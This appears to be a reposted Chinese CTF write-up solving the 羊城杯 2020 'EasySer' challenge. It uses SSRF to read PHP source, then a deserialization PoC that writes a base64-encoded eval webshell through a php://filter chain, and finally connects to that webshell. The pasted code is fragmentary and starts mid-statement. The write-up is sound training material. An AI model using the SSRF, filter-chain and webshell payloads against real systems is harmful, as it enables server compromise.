[羊城杯 2020]EasySer
短信预约 -IT技能 免费直播动态提醒
目录
信息搜集
先扫下目录
.htaccess;robots.txt;flag.php;index.php
在robots.txt下看到了/star1.php
进入star1.php发现出现ser.php
直接进入ser.php发现进不去,看来需要用上面提到的不安全协议,从他家,我们看到提示给的是百度的地址,考虑访问内网地址127.0.0.1,横向穿透.利用 SSRF 才能访问到 ser.php
?path=http://127.0.0.1/ser.php
拿到ser.php源码
hero = new Yasuo; } public function __toString(){ if (isset($this->hero)){ return $this->hero->hasaki(); }else{ return "You don't look very happy"; } }}class Yongen{ //flag.php public $file; public $text; public function __construct($file='',$text='') { $this -> file = $file; $this -> text = $text; } public function hasaki(){ $d = ''; $a= $d. $this->text; @file_put_contents($this-> file,$a); }}class Yasuo{ public function hasaki(){ return "I'm the best happy windy man"; }}?>
代码审计
创建一个GWHT对象,hero为yongen对象,然后向file写入一句话木马
- 通过 类GWHT 的 __toString() 来调用 类Yongen 的 hasaki() 方法,利用 file_put_contents() 来写文件。其中写文件时需要绕过
,先去除标签再base64解码的方法。
poc
hero = new Yongen();$door->hero->file = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php';$door->hero->text = 'PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==';echo urlencode(serialize($door));?>
用蚁剑连接shel.php,flag 在根目录下
参数扫描
arjun扫描传入的参数为c和path
来源地址:https://blog.csdn.net/qq_63701832/article/details/128766325
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341